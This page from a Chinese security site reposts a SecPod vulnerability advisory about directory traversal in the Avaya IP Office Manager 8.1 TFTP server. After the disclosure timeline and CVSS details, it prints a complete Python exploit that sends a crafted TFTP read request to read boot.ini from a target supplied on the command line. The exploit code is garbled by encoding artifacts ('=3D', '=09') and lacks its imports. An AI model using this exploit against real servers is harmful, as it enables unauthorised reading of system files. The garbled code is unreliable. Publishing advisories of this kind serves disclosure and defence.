首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Avaya IP Office Manager TFTP Server Directory Traversal Vulnerability
来源:www.secpod.com 作者:SecPod 发布时间:2011-07-11  

##############################################################################

Title    : Avaya IP Office Manager TFTP Server Directory Traversal Vulnerability
Author   : Veerendra G.G from SecPod Technologies (www.secpod.com)
Vendor   : http://www.avaya.com/usa/product/ip-office
Advisory : http://www.avaya.com/usa/product/ip-office
           http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap
           http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
           http://secpod.org/advisories/SECPOD_Avaya_IP_Manager_TFTP_Dir_Trav.txt
Version  : Avaya IP Office Manager TFTP Server Version 8.1
Date     : 08/07/2011

###############################################################################

SecPod ID: 1017     25/05/2011 Issue Discovered
                                                31/05/2011 Vendor Notified
                                                No Response from the Vendor
                                    08/07/2011 Advisory Released
           

Class: Information Disclosure   Severity: Medium


Overview:
---------
Avaya IP Office Manager TFTP Server Version 8.1 is prone to a Directory
Traversal vulnerability.


Technical Description:
----------------------
The vulnerability is caused due to improper validation to Read Request
Parameter containing '../' sequences, which allows attackers to read
arbitrary files via directory traversal attacks.


Impact:
--------
Successful exploitation could allow an attacker to to obtain sensitive
information, which can lead to launching further attacks.


Affected Software:
------------------
Avaya IP Office Manager TFTP Server Version 8.1


Tested on:
-----------
Avaya IP Office Manager TFTP Server Version 8.1 on Windows XP SP3.


References:
-----------
http://secpod.org/blog/?p=225
http://www.avaya.com/usa/product/ip-office
http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap
http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
http://secpod.org/advisories/SECPOD_Avaya_IP_Manager_TFTP_Dir_Trav.txt


Proof of Concept:
----------------
http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap


Solution:
----------
Not available


Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N)
        CVSS Temporal Score    = 4.5
        Risk factor            = Medium


Credits:
--------
Veerendra G.G of SecPod Technologies has been credited with the discovery of
this vulnerability.


SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py:

#!/usr/bin/python
##############################################################################
# Exploit   : http://secpod.org/blog/?p=3D225
#             http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
#             http://secpod.org/advisories/SECPOD_Avaya_IP_Manager_TFTP_Dir_Trav.txt
# Author    : Veerendra G.G from SecPod Technologies (www.secpod.com)
#
# Get File content using Directory Traversal Attack
# Tested against Avaya Office IP Manager 8.1
##############################################################################

def sendPacket(HOST, PORT, data):
    '''
    Sends UDP Data to a Particular Host on a Specified Port
    with a Given Data and Return the Response
    '''
    udp_sock =3D socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.sendto(data, (HOST, PORT))
    data =3D udp_sock.recv(1024)
    udp_sock.close()
    return data

if __name__ =3D=3D "__main__":

    if len(sys.argv) < 2:
        print "\tUsage: python exploit.py target_ip"
        print "\tExample : python exploit.py 127.0.0.1"
        print "\tExiting..."
        sys.exit(0)

    HOST =3D sys.argv[1]       =09=09=09## The Server IP
    PORT =3D 69                =09=09=09## Default TFTP port

    data =3D "\x00\x01"        =09=09=09## TFTP Read Request
    data +=3D "../" * 10 + "boot.ini" + "\x00"=09## Read boot.ini file using directory traversal
    data +=3D "octet\x00"=09=09=09=09## TFTP Type

    rec_data =3D sendPacket(HOST, PORT, data)
    print "Data Found on the target : %s " %(HOST)
    print rec_data.strip()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ManageEngine ServiceDesk <= 8.
·ZipWiz 2005 v5.0 .ZIP File Buf
·phpMyAdmin3 (pma3) Remote Code
·ZipGenius v6.3.2.3000 .ZIP Fil
·MicroP 0.1.1.1600 (MPPL File)
·ZipItFast v3.0 .ZIP File Heap
·Dlink DSL-2650U Dos/PoC
·Blue Coat Authentication and A
·CoolPlayer Portable 2.19.2 Buf
·Blue Coat Authentication and A
·Freefloat FTP Server Buffer Ov
·phpMyAdmin 3.x Swekey Remote C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved